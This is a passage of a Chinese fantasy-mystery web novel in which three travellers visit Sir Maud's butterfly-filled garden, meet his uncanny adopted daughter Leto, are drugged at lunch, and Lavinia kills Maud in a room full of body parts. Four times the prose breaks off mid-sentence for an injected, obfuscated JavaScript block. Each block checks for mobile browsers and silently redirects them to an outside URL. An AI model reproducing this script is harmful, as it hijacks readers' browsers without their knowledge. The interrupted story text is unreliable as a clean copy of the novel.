“看看这。”拉斐尔指着铁质栅栏下方的符文，“整个花园大概都被这个法阵包裹着，好一直保持最适合花卉生长的温度。很少有人能做到稳定地操作如此大型的法阵，莫德爵士真是专家中的专家。” “嗯嗯，你说得对。”艾希莉心不在焉地说，“嘿，拉斐尔，我能去那边看看吗？反正我们还要在这等一会儿。” “好吧。”拉斐尔说，“不过别走太远，让我看见你，好吗？” 话是这么说，很快，他的全部注意力就被那个大型法阵吸引去了。 艾希莉顺着篱笆一路走过去，即使是包住脑袋的布巾也不能影响她的好心情，这里的蝴蝶和花卉在她眼里相得益彰，就像一幅童话花园里才能见到的梦幻图景，让她不禁想哼起歌来。 她向前走了好一会，才突然想起来表哥好像说了别走太远，在一丛粉色的蔷薇花前停下来。 有蝴蝶落在那些云霞般美丽的花朵上，一只，两只，无数只。它们争先恐后地试图钻进花蕊里，远远看去像是花上又多了一朵更大的花。 只是这些花会动，还像阳光下的肥皂泡似的，闪动着许多种色彩的光晕。 艾希莉近乎着迷地看着，直到几只蝴蝶突然扑到她的眼睛上来，几乎撞得她晕头转向。她猛吸了口气，后退一步，使劲眨了眨眼睛。 也就是这个瞬间，她看见一簇惹眼的金红色头发从花丛间闪过去。她好像被那团色彩吸引住了，向着那个方向紧跑了几步，微微俯身，看见了层叠的叶子间少女粉白的脸颊和小巧白皙的耳垂。 “呃，嗨，你好？”艾希莉小声喊道，“你住在这吗？” 那位少女似乎是被吓了一跳，肩膀微微抖动了一下，缓缓转过身来。 她的面容是艾希莉前所未见的精致，漂亮得不像真人的脸上有一双罕见的紫色眼眸。 “你好。”美丽少女的眼睛里迸发出快乐的光彩来，“你是在和我说话吗？……哦，抱歉，就是……好久没有同龄的女孩来和我说话了。” “是吗？”艾希莉愣了一下，“可是你长得好漂亮……为什么没有人来和你说话呢？” 少女沉默下来，脸上露出忧伤的表情，长长的、卷曲的睫毛颤抖着，像一对振翅的蝴蝶。 “我不知道。”她轻声说，带着一种懵懂的困惑，“有什么东西控制着我……我明明不想那样，可我还是必须这么做。我去见了好多人，都是我不想见的男人，可是，可是……” 我的天呐。艾希莉愣愣地想，不会吧，莫德爵士是这样的人吗？ “我，我叫艾希莉！”她深吸一口气，双手穿过栏杆，握住了少女的手。勒托的手像块大理石一般，光滑细腻，冷得像冰——在这种天气里，少女只穿了件丝绸的单裙，两只胳膊都露在外面。 “哦。”少女惊讶地往后缩了一下，但没拒绝艾希莉的手，“你好，艾希莉，我叫勒托。” “听我说，勒托。”艾希莉舔了舔有些干燥的嘴唇，“我最近就在附近，如果你需要什么帮助……” “帮助？”勒托迷惑地眨了眨眼，随即笑起来，“你能来这里陪我说说话就挺好了，艾希莉。” 她微笑着，用指腹轻轻拂过一朵蔷薇的花瓣。当她凑近那朵花的时候，她的脸庞和花瓣一样娇艳动人，看上去就像花间的精灵。 “你看。”她用耳语般的声音说，“这些花很漂亮吧。” “真想……再多看看它们。” “勒托……”艾希莉有些犹豫地松开手，心里有了又一个不好的猜想，“你是不是……” 许多只蝴蝶落在少女身上。少女似乎很是不适，轻轻皱了皱眉头。 艾希莉这才后知后觉地发现，女孩并没有和他们一样带着帽子或是面纱。 “你不该这样！”艾希莉叫道，“你该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879066|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿些什么遮住口鼻，你等等，我……” 她把自己头上的布巾绕下来半截，想要把它撕开，分一半给面前的少女。但很可惜，她高估了自己的力气，也低估了布巾的坚韧程度。 勒托向她摇了摇。 “艾希莉。”美丽的少女重复道，“艾希莉，我会记住这个名字的，我们是朋友了，对吧。” “当然！”艾希莉不知所措地向她笑了一下，又忘了现在没人能看见自己脸上的表情，“有机会我会来看你的，我……” “艾希莉！” 艾希莉循声回头，拉维妮娅正极力挥开面前的蝴蝶，大步向她跑来。 “你在干什么呢，把面罩带好。” “哦，呃，抱歉拉维。”艾希莉胡乱地缠好布巾，扯住拉维妮娅的一只袖子。 “听我说，拉维，这里有个女孩，我们得帮帮她，我怀疑她……” “女孩？”拉维妮娅蹲下来，看起来颇为迷惑地歪了歪脑袋，“哪里来的女孩？” “什么？”艾希莉猛地转过头，“她就在花园里——” 她停住了。 几丛蔷薇花之间，刚才那个美丽过头的少女坐着的地方，只有一团疯狂飞舞的蝴蝶。 少女已经不见了。 “她……”艾希莉混乱地摇了摇头，“可是刚刚这里确实……” “我没看见什么女孩。”拉维妮娅抓住她的手臂，凑近了看着她，“你没事吧，艾希莉？不会是刚才吸进了蝴蝶磷粉吧？” 艾希莉又晃了晃脑袋，感到一阵恍惚，这下连她自己也不确定了。 “我不知道，拉维。”她小声说，“可这有点奇怪……” “我们先走吧。”拉维妮娅站起身，把她从地上拉起来，“门房刚才回来了，莫德爵士同意见我们。我们快些把你表哥的事搞定，然后回石碑镇去——离开这地方你估计就能感觉好点了，怎么样？” 艾希莉又向那些蔷薇中间望了一眼，那里除了蝴蝶什么也没有。 她回过头，小跑着跟上拉维妮娅。 她们没有走几步，拉斐尔已经满脸焦急地迎上来。 “艾希莉！”他叫道，“你跑到哪去了？我记得我让你别走太远。” “她的确没走太远。”拉维妮娅说，“只是这些蝴蝶挡住了你的视线，而且你刚刚就蹲在栅栏边上没看过别处。现在快走吧，拉斐尔先生，别让你心心念念的莫德爵士等急了。” 也许是为了多种些花，即使是大门通往宅邸的路也狭窄得惊人，几乎无法容纳两人并排行走。门房带着他们穿过那条小路，无数花卉层层叠叠的花瓣和叶子擦着他们的衣角，惊起一群又一群的蝴蝶。 “这些蝴蝶究竟是从哪里来的？”拉斐尔一边驱赶着挡住视线的蝴蝶一边问道。 “不知道。”门房闷声说，“几个月前就这样了，没人知道为什么。” “不过莫德老爷说已经有头绪了，真希望能快些找出方法来。” 20. 第 20 章 “莫德爵士在调查这件事？”拉斐尔的声音激动起来，“这件事和法阵有关系吗？是温度的原因？还是法阵在改进过程中有额外的副作用？” “……” 门房显然被这一连串的问题唬住了，半天没有搭话，直到他们块走到宅子门口时，才含含糊糊地说：“也许吧……您不如亲自问问莫德老爷，他今天看起来心情不错，应该会乐意为您解答的。” 他伸出一只黝黑的、带着深深皱纹的手，摇响了门铃。门立刻被打开了，出人意料地，门口没有佣人，也没有管家，一个穿着孔雀蓝晨服的老男人站在那，灰白的胡须抖动着，发出一长串“嚯嚯”的笑声。 “荷莫伍德先生！”他大踏步地走下台阶，抓住拉斐尔的手，剧烈地摇晃了几下，“想不到伯爵家的少爷居然会对我这个小老头的研究感兴趣，真是让人受宠若惊。” “别这么说，莫德爵士！”拉斐尔用力地回握他的手——拉维妮娅发誓她看见莫德爵士胡须下松弛的皮肉痛苦地抽动了一下。 “叫我拉斐尔就好。您的研究在法阵魔法应用领域具有重要意义，我一直期待着这样和您见面。请允许我抛下绅士的风度，向您表达对您的仰慕之情。” “嚯嚯，好的，好的，年轻人，我感受到了。”莫德爵士脸上的笑容堆叠出一层又一层的褶子，“先请进吧。真是太巧了，午餐刚刚准备好——请你们一定要来和我共进午餐。” “那真是我的荣幸！”拉斐尔激动得满脸通红，这时他才突然意识到了什么，拉着莫德爵士向门边挤去：“天呐，看看我，都没发现您没有做防护措施！这些磷粉……” “别紧张，拉斐尔先生。”莫德爵士拍拍拉斐尔的肩膀，似乎是慈爱地看着他，“这里的磷粉没有外面那样的毒性——你有意识到花园里要比外面暖和许多吗？” “这——”拉斐尔停下来，灰眼睛里闪动着光芒，“是的……是的！我早该注意到的，整个花园都被法阵包裹着……” “就是这样。”莫德爵士愉快地说，“事实上，这些蝴蝶在不同的温度下展现出来的毒性是不同的，在现在的温度下，它们几乎无毒。很神奇吧？” “天呐，莫德爵士！”拉斐尔又激动起来，“您真是太专业了！我都不知道您对昆虫也有研究，您是怎么注意到的？啊对了，还有，您是怎么做到精确地改变温度的？花园外的大型法阵是刻在栅栏下的基石上的，但我注意到部分石块可以进行替换，您是否发现了改变特定符文以反复改变温度或稳定温度的秘诀？哦，还是说这是某项专利？我是不是……” “嚯嚯，停一停，停一停，小先生。”莫德爵士还是笑眯眯的样子，“看起来你有很多问题，对吧？别着急，先去餐厅吧，今天下午我没有什么重要安排，我们可以慢慢讨论。” 他们穿过宅子的前廊，向餐厅走去。 这里走廊的墙壁也是深红色的，大概是因为这种颜色的墙纸是某一段时间里的潮流。拉维妮娅感到有些恍惚，她眨了眨眼，艾希莉金色的卷发在她眼角的余光里小幅度地摆动，提醒她这不是一个梦境。 与拉维妮娅梦中的走廊不同，这条走廊上没有那么多花里胡哨的画框——也许是因为莫德爵士是个严肃学者，不需要那么多装饰提醒他家族的荣光。 但这条走廊上还是有些东西，楼梯边的矮柜上摆着花瓶，瓶里有几只纤长的花枝，花苞紧闭，看起来采摘的时机有些太早了，花瓣也显得有些干燥。在花瓶对面的墙上，有一张女人的画像，简单地嵌在一个毫无装饰的画框里。 拉维妮娅看了这张画像一会。画像的颜色并不是很惹人注意，几乎只用了棕色调，但仔细看去，画像里的人却很吸引人。即使并不能说是非常漂亮，但她看起来温柔又坚定，有一种安稳沉静的气质，即使是隔着画师可能的自我发挥，也不禁让人猜测她是一个怎样有人格魅力的人。 “您停在这里做什么，小姐？”一个声音突然响起来，拉维妮娅猛地回头，看见一个高大的身影正微微低头看着她。 拉维妮娅有点愣神。 这是一张精致过头的脸。 即使已经有成年人的声量，眼前的人显然年纪不大，他的脸庞还带着几分稚嫩，几乎是个少年。仅凭这些倒不足以让拉维妮娅发愣，只是他看起来实在不像个男人，那张脸太苍白，也太漂亮了，配上那头金红色的头发和难得一见的紫色眼睛，甚至都不能说他长得像个女孩，简直像摆在商店橱窗里的陶瓷人偶。 还有一点重要的是，他的声音听起来有些耳熟。 “啊，您对那张画像感兴趣吗？”听见声音的莫德爵士转过头来。他的脸上还带着笑意，拉维妮娅却直觉，他的眼神有些冷。 “不。”拉维妮娅冲他礼貌地笑了笑，“我只是发现花瓶里的花好像没换水。” “哦，一定是佣人们忘了。”莫德爵士眯起眼睛，重新笑起来，“卡里斯托，看看你，连水都没有换。” “抱歉，老爷。”被称为卡里斯托的年轻人向莫德爵士微微躬身，“我这就去。” 艾希莉小步挪回拉维妮娅旁边，小声说道，“拉维，拉维！他长得……” 她还没说完，她的表哥倒是先发问了。 “卡里斯托？”他说，“我是不是在哪里听过这个名字？” “他是我们来的时候带我们进镇子的人之一。”拉维妮娅说，“记得吗？他那时带着帽子，我们没见过他的脸。” “原来是这样。”莫德爵士说，“那我们可真有缘分，看来您注定要和我共进午餐，拉斐尔先生。哦，对了，瞧我，之前都忘了问。这两位小姐是？” “我的表妹。还有……我的朋友。” “很好，很好。”莫德爵士点点头，“来吧，先生和小姐们，再不快些午餐就要凉了，我可不想错过我最爱的烤肉排。” 莫德爵士的餐厅装潢得很漂亮，是一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879067|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔软的田园诗风格，大部分的装饰都是浅淡的糖果色，和莫德爵士本人的风格看上去不怎么搭配，和走廊的风格也不怎么搭配。 “拉维。”他们一坐下，艾希莉就迫不及待的开口，她压低了声音，眼睛时不时地瞟着莫德爵士。 “刚才那个男佣人，我不是说他是谁的问题，他长得就像我刚才在花园……” “我好像听见这位小姐提起了花园！”莫德爵士大声说，“是的！从餐厅的窗子望出去，刚好能看见后花园！这里是观赏后花园视野最好的地方，所以我特意把餐厅的窗户扩大了一倍……” “天呐，果然是这样！您真是个善于观察的人，莫德爵士！” 拉斐尔看起来暂时是听不见除了莫德爵士之外的其他声音了。 艾希莉懊恼地咬了咬腮帮子。 莫德爵士看起来兴致高昂，似乎正准备高谈阔论。但此时，出乎意料地，餐厅外响起了一阵少女的笑声。 “您怎么已经开始吃饭了！”少女小跑着进入餐厅，金红色的长发随着奔跑飘扬起来，像一只翩飞的蝴蝶。 她一头扎进莫德爵士怀里，搂住他的脖子。 “您该等等我的。”她说，“今天甚至有客人来呢，怎么不和我说一声？” 她不满地嘟起嘴来，嘴唇像窗外的蔷薇花一般娇艳，乍一眼看去，莫德爵士就像在怀里抱了个洋娃娃。 “抱歉，我的孩子。”莫德爵士的声音一下子放低了，他柔声说，“我看你在花园里玩得开心呢，不忍心打扰你。” “可我也想见见客人们呀！”少女睁大眼睛，赌气似的看了莫德爵士一眼，突然蹦起来，向艾希莉露出一个大大的微笑。 “我们又见面了！见到你真高兴！” 艾希莉的蓝眼睛剧烈震颤着，几乎要从眼眶里飞出来。她一下子完全忘了本就不想费心的淑女礼仪，刷地一下从座位上站起来，差点弄洒了面前的蔬菜汤。 “勒托！”她喊道，“你在这里！你……” 这下拉维妮娅算是完全明白艾希莉在震惊些什么了。如果她真的在花园里看见了一个女孩，那么面前这个叫勒托的女孩，长了一张几乎和刚才的男佣人一模一样的脸。 一样的精致漂亮，完美得不像人类。 只是这个女孩，看上去和艾希莉之前说的“有危险”实在相差甚远。 “诶，看来您已经见过我的养女了……艾希莉小姐。”莫德爵士说，“看起来勒托很喜欢你。也是，这个年纪的姑娘是该认识些同龄人。” 不知道是不是错觉，莫德爵士说的句话都拖得比之前要久，颇有些意味深长的味道。 名叫勒托的少女笑嘻嘻地绕过餐桌，跑到艾希莉身边。拉维妮娅惊异地注意到，这位少女甚至没有穿鞋，白皙的双脚毫无顾忌地直接踩在地板上，看起来却没有因此受伤。 艾希莉是对的。拉维妮娅皱了皱眉头想，这姑娘绝对不对劲。 21. 第 21 章 艾希莉看着笑盈盈地站在她面前的少女，一时间脑子有点转不过弯来。 不对劲？这当然不对劲。一个人很难对同一件事的前后差异如此之大，那么要不然这位勒托小姐是疯子，要不然……可能是她一开始就搞错了，莫德爵士实际上就是个普通的好人，而勒托说的事情有其他的解释。 那该有什么解释？ 离家出走只因为不想上学的艾希莉小姐使劲晃了晃晕乎乎的脑袋，决定放弃思考。 “嗨，勒托。”她双手扳住少女的肩膀，上上下下地打量了一通，发现她的身上没有任何明显的伤痕后，略微松了口气。 “你怎么了，艾希莉？”勒托还在笑着，微微歪过头来看着她，露出一副儿童般懵懂的表情，“你看起来心情不太好，难道你不想见到我吗？” “不！”艾希莉条件反射地说，“我就是……” 她犹豫地瞥了莫德爵士一眼，又重新看向勒托大睁着的美丽眼睛，它们像是一对打磨恰好的宝石，缀着一片朦胧的星光。 艾希莉深吸一口气，下定决心似的，开口问道：“勒托，我有点担心你。你之前说的被强迫着去见男人是怎么回事？” 那片星光闪动起来，勒托收起笑容，抿唇看着她。 “呃，抱歉勒托。”艾希莉有些慌乱，但她确实急于确认面前少女的情况，“我不是有意……” 在勒托做出其他反应、或是给出什么答复之前——也许她是想给出什么答复的——一声巨响打断了所有人的思绪。 拉斐尔的头重重地砸在桌子上，小半张脸都浸到了汤盘里，蔬菜汤溅得到处都是。 但年轻的绅士对此毫无所知。他的胳膊垂落下去，手里捏着的汤勺滚落到地板上，发出一阵沉闷的响声。 毫无预兆地，他晕过去了。 拉维妮娅猛地站起来，抽出衣摆下的左轮，一支指向没有任何反应的莫德爵士，另一只指向还看着艾希莉的勒托。 “这是怎么回事？”她咬着牙说，“您最好能解释一下，莫德、男爵。” “别担心，他不会有什么事的。”莫德爵士双手交握着，依旧笑容满面地说，“我只是想请你们帮我一个小忙……顺利的话，他也会得到好处的。” “听起来不是很能说服我。”拉维妮娅咬着牙说，手指在板机上渐渐收紧。她必须快点解决问题了，那阵眩晕感越来越清晰，想必不是她的错觉。 “您最好立刻放我们走。”她喘了口气说，“不然我现在就让你脑袋开花。” “真是个暴脾气的小姐！”莫德爵士大笑起来，却又突然停住，表情变得扭曲起来，“这可不行，我不喜欢这样……我的爱丽丝也不会喜欢的。不过你的头发很漂亮……爱丽丝也许会喜欢醒来的时候长着这样一头亚麻色的头发……” “你在说什么疯话？”拉维妮娅忍无可忍地吼道，她的眼前几乎要看不清东西了，但她不能就这么晕过去，于是她凭着直觉扣下了板机。 但这一枪并没有起到她想要的效果。 艾希莉身边的少女以难以想象的速度抓住了拉维妮娅的胳膊，以一种难以理解的力量把它们硬生生地掰到了其他方向。子弹在出膛的瞬间打偏了，斜斜地穿过半个餐厅，在天花板上留下一个弹孔。 “抱歉小姐。”勒托的脸上还带着那种懵懂的表情，“我不希望你这么做……父亲他还得活着。” 剧痛让拉维妮娅几乎发不出声音，但即使是这样，她也没能从混沌中清醒。那阵眩晕感再次袭来，前所未有的强烈，在她做出任何其他反应之前，她的所有意识已经迅速变为了空白。 拉维妮娅坐在书房的窗台上，看着膝盖上摊开的书若有所思。 她好像又做了一个不太好的梦。 道林还在她对面看着她，面容安静平和，带着一种独有的温柔，像许多年以来的无数次一样。 “你还好吧，拉维？”他问，“你刚才发了好久的呆。” 拉维妮娅没说话，只是看着他。 “怎么了？” 没什么，她想，这不过是又一个梦，而你只是我十几岁时记忆的投影。 “你没事就好。”道林像是听到了什么不存在的回答一样，微笑起来。他笑起来总是很好看，像是早春拂过面容的微风。 “对了，我前几天拿到了大学的录取信。”他接着说，“你有兴趣申请函授吗？我听你的家教艾罗特小姐说你的进度很快，更上大学的课程也不是不可能。” 道林倒是真的这么说过，而她当时拒绝了。家里书房的藏书就够她学很长一阵子，用不着非要参加大学课程——事实上，那些女性能够申请的大学课程也不过是将她们包装成更完美新娘的噱头而已。 她现在有些怀疑，道林到底是以什么样的心态说出这些话的。 “你不愿意……哦，有道理。没关系，我假期回来也可以教教你，只是……你接下来很长一段时间都只能一个人待在家里了。” “……你觉得没关系吗，拉维？” “你觉得孤独吗？” 我觉得孤独吗？拉维妮娅想，当然，但每个人都是这样，或者至少我们是一样的，我和道林。 但他真的在意这件事吗？还是为不用再陪一个烦人的孩子而感到窃喜？ 我不能再待在这里了。这个该死的梦怎么还不醒？ 孤独。 孤独。 我是否一直都孤身一人？ “你还好吧，拉维？” 道林像是突然结束了独角戏，回到了演出开始一样，再次问道。 该死，我到底要怎么醒过来？ 拉维妮娅猛地站起来，举起手里的书，狠狠地向窗户砸去。 一切却突然停滞了，她的手仿佛在透明的糖浆里移动，最终被牢牢地粘住，连带着她的发丝和空中的灰尘。周围似乎渐渐褪去了原本的色彩，只剩下道林还坐在原处，温柔地看着她。 “我当然关心你，拉维。”他轻缓地说，气流在他的舌尖被温和地吐出，让拉维妮娅想起某种冷血动物。 “所以你为什么不愿意嫁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879068|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给那位绅士呢？他是个完美的对象，这是为了你好。” 他的面孔扭曲起来，接着是灰暗的书房，悬停在半空的书本。他们一起在迷幻的漩涡中腾空，而当拉维妮娅终于落地时，她发现她坐在一个熟悉的梳妆台边。 “讨论来不及了，小姐，快些，我来帮您上妆。”一个上了年纪的女佣在她身边絮叨着说，“说真的，很少见到您这么不积极的新娘了。” 拉维妮娅突然站起来，一把推开面前的女佣，毫不犹豫地从房间打开的窗口跳了下去。 窗外白色的雾气将她包裹起来，她不停地下坠，直到超出了楼层该有的高度。她难以抑制地闭上眼，现实的痛楚逐渐尖锐地出现在她的身上，眼前的雾气不再是没有实感的幻影，渐渐组成了新的颜色—— ——在抹雪亮的刀锋前，拉维妮娅睁开眼。 她猛地低头，在头皮被扯动的刺痛里，那把刀擦着她的头皮堪堪划过，削下了她后脑勺的一撮头发，连着她被扯下的头发一起，留在莫德爵士的手里。 “你醒得可真快，小姐。”莫德爵士看着她，慢条斯理地说。也许是笃定了她没法逃跑，他既没有用任何束缚，也没有为她的突然醒转感到着急。 “你该多睡一会的，那样你会在睡梦中离去，没有痛苦。”他看着手里的发丝，满脸可惜地把它们丢到一边，“现在瞧瞧你，白白糟蹋了这么好的头发……我还得费心让你挣扎得小幅度一些，免得把剩下的头发也破坏了。” 拉维妮娅半跪在地上，一边肩膀靠着墙壁，感觉寒气正顺着脊背爬满她的全身。 她确实失去了大半行动力，那位叫勒托的少女几乎扭断了她的胳膊，她的右手现在完全不听使唤了，只有左手还能在剧痛中勉强抓握。也许是因为手臂失去控制的缘故，她现在连平衡都很难维持，没有办法支持自己夺门而出。 局面现在非常糟糕，虽然这位莫德爵士没有什么使用武器的经验，但他显然营养过剩，胳膊和腿都粗得可以，贸然反抗只会加重自己的伤势。 但她不能在这等死。 我的腿还能动，左手也还可以。她看着逼近的莫德爵士想，我得拼一把。 “好啦，放轻松，小姐。”莫德爵士轻柔地说，如果忽略他手上的尖刀，他看上去还真像个慈祥的长辈，“我会尽量保证你不那么痛苦，还有你头皮的完整……” 拉维妮娅的右脚猛地踢出去，正踢中他拿刀的手腕。莫德爵士大叫一声，却没有完全松手，重新攥住了那把刀，向拉维妮娅扑过来。 刀尖在空中划过一道银色的弧线，拉维妮娅咬牙向一边滚去，险险避开了刀锋，刀尖擦着她的耳侧扎进地板里。 莫德爵士摇晃了一下，一手抓住那把刀，把它从地板里拔出来。 拉维妮娅在这个空隙里站起来，直截了当地朝刚拔出刀的莫德爵士撞过去。 莫德爵士仰面朝天，和拉维妮娅一起倒在地板上。而在倒地的瞬间，拉维妮娅一秒也没有犹豫，左手抓起那把莫德爵士没拿稳的刀，朝他的脖子刺下去。 22. 第 22 章 刀尖带着风声，在莫德爵士的大叫声中逼近他的脖颈。 但这一刀没能扎下去，拉维妮娅的左手在细微地颤抖，使刀尖前进的方向出现了一丝细微的曲折。莫德爵士粗短的手挥舞着，在刀尖即将刺破他的颈部皮肤时，死死抓住了刀锋。 在莫德爵士的手指间，雪白的刀身逐渐被暗红色覆盖，从他的指缝间涌出来，他再次发出一声嚎叫，挣扎着想要把拉维妮娅掀下去。 拉维妮娅咬紧了后槽牙，在自己的嘴里尝到了腥甜的铁锈味。她的左手已经快要握不住刀柄，虎口的肌肉不断抽动着，小臂和关节传来肌肉即将失控的警告。她在手臂的痛楚中再次攥紧手中的刀，用尽全身的力气压上去，在左手彻底失去力量前，以一种扭曲的姿势狠狠踩在自己的左手上。 刀刃在粘稠的液体中划过莫德爵士的手掌，贯穿了下方的皮肉。 莫德爵士的手还捂在刀口上，但没办法再发出叫声了。他的喉咙被捅穿，嘴里“嗬嗬”地出着气。 拉维妮娅盯着那把刀，看到红色的泡沫从刀口和莫德爵士的嘴里涌出来，想起曾经看见酒庄在丰收季榨取葡萄汁，成熟的葡萄在木桶和工人的踩踏间被碾成一堆带着泡沫和果肉的紫红色混合物。 她在那一瞬间失去了对外界的一切感知，眼前一片灰白，耳边安静得只剩下细微的蜂鸣。 她不知道她是否还握着那把刀，手臂还有怎样的疼痛和伤害。她保持着那个姿势有一会，感受到地板上的男人还在挣扎，迟滞地抽出刀，再次扎了下去。 然后是再一次。 再一次。 再一次。 …… 再一次。 她机械地重复着这个动作，直到完全失去了力气，两眼发黑地滚落到地板上。她的指尖发麻，几乎感觉不到自己在呼吸，黑暗很快吞没了她的意识，让她继续坠落到虚无的雾气中去。 “您要快一点了，小姐，我来帮您上妆。” 什么？ 婚礼？又一次？ “说真的，作为一个新娘您怎么这么不积极？” 开什么玩笑，我为什么非要做个新娘？ “您已经二十岁了，在社交场上都要算老姑娘了，有这么一个好丈夫，您该感到高兴才是。” 高兴？高兴什么？没有一个丈夫，难道我的人生就到此为止了吗？ 不，我绝不要这样。 况且…… 等一等，这不对。 我早就不在这个婚礼上了。 又是梦。 她看着面前的妆箧，那里放着一支打开的口红，包装精美，外壳上有黄金的装饰。女佣上前，蘸取了一些鲜红色的膏体，凑近了拉维妮娅。 这不对。 拉维妮娅盯着那支蘸了膏体的刷子，身体一动不动。她本该躲开的，接着“不小心”打翻那支口红，然后被强行扭送到婚礼现场。 但现在她动弹不得，只能眼睁睁地看着刷子越来越近。 而那支口红被人做了手脚。 这又是怎么回事？拉维妮娅咬着牙想，我怎么还不醒？ “拉维妮娅？” 女佣突然停住了，散发着特殊香味的膏体停留在拉维妮娅的嘴唇前方，而女佣的嘴里突然发出了男人的声音。 “拉维妮娅！”女佣大叫道，“拉维妮娅！醒醒！” 这声音很熟悉。 “拉维妮娅！” “拉维！” 拉维妮娅猛地睁开眼，大口喘着气。 在疼痛导致的剧烈心跳声中，她看见了杰拉尔德的脸。 “搞什么？”她开口说，意识到自己的声音嘶哑得吓人，“你怎么在这里，杰里？” “我是不是得先问你？”看到她醒过来，杰拉尔德明显松了口气，“你是怎么搞成这样的？” “如你所见，莫德爵士想杀我。”拉维妮娅说，“然后我……我也不知道怎么样了。” 杰拉尔德看了一眼倒在地上的莫德爵士，他的喉咙和胸口已经一片狼籍，鲜红色在上面晕开，像一块烂掉的蜂窝。 他什么也没有多说，把拉维妮娅扶起来。 这是一个不大的房间，窗子被木板钉得死死的，墙上挂着有些生锈的锯子和手斧。房间的中央有一个方形的木台，上面散乱地放着各种肢体，其中一些已经腐坏了，散发着难以言喻的恶臭。 拉维妮娅显然也看见了，她皱着眉头，目光缓缓地移到地上的莫德爵士身上。 杰拉尔德却突然握住了她的右手。 “忍着点。”他说，把她的手臂猛地往上一提。 疼痛突然袭来，拉维妮娅差点没忍住叫出声来，她咬着牙，又在嘴里尝到铁锈味。 但这一阵疼痛过去之后，她意识到，她的右手又可以动了。 “你的右手只是脱臼了，加上一点挫伤。”杰拉尔德说，“左手的问题要更严重一点，总之，你现在两只手最好都别乱动。” “……你到底是怎么到这里来的？” “我把货物送到的时候，这位莫德爵士亲自出现，要我到会客厅坐坐。”杰拉尔德扶着拉维妮娅往门外走，“我一开始拒绝了，但他说只有喝杯茶才能给报酬，这是他的礼貌……然后我就晕过去了，直到之前醒来，发现被锁在一个房间里。” “原来你也会被这种招数骗到。”拉维妮娅有气无力地说，已经没办法做出什么表情。 “我也不是对什么都有经验的。”杰拉尔德几乎是托着她的腋下在走，“总之，我想办法把门撬开了，接着就碰上了这里的佣人，花了好大功夫才把他搞定……” 他们走出房间，在离门边不远的地方，一个高大的年轻人被绑着手脚倒在地上，那颗金红色的脑袋正极力地抬起来，沉默地盯着他们。 “接着我就听见了那位莫德爵士在惨叫，找到了这里。说实话，要不是因为听到了叫声，这小子分心了，我还真没什么把握打倒他——他的力气大得简直吓人，我怀疑他能徒手和野牛搏斗。” “卡里斯托，对吧？”杰拉尔德转头看着他，“你的莫德老爷现在死了，你要怎么办？” 卡里斯托的紫眼睛惊讶地瞪大了，他的嘴唇抖动着，最终像泄了气一般，把头撞在地板上。 “我其实并不知道他在做什么。”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879069|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说，“你们要做什么我也不关心。我只求你们一点……别伤害勒托。” “你是不是搞错了什么？”拉维妮娅说，“我们是因为你的莫德老爷莫名其妙把我们迷晕才在这里的，你也没资格要求我们承诺你什么。” 卡里斯托重新看向他们，反剪在背后的双手死死地握着拳头。 “但我答应你。”拉维妮娅低头看着他，双眼像两块冰冷的琥珀，“我们不会对那个女孩做什么，只要你回答如实我的问题。” “……我知道了。” “拉斐尔和艾希莉在哪里？他们怎么样了？” “和你一起来的那两位？”卡里斯托说，“他们在楼上的房间，那位先生在离楼梯最近的房间里，金色头发的小姑娘在放着蔷薇花对面的房间，和勒托在一起。” “我知道了，我不会伤害她的。”拉维妮娅说，“还有一个问题……迄今为止，莫德爵士究竟杀了多少人？” “……我不清楚。”卡里斯托说，“但很多，大概从一年前开始，越来越多了。” “那些人都是镇子外来的？”杰拉尔德问，“还是也有镇子里的人？镇子里的人从来都没发现不对劲吗？” “以前也有镇子里的人，不过很少。”卡里斯托说，“教堂的神父宣称这些女孩是死于可怕的不幸——很少有人对此质疑。” “很少，也就是不是没有。”拉维妮娅说，“那些质疑的人怎么样了？” 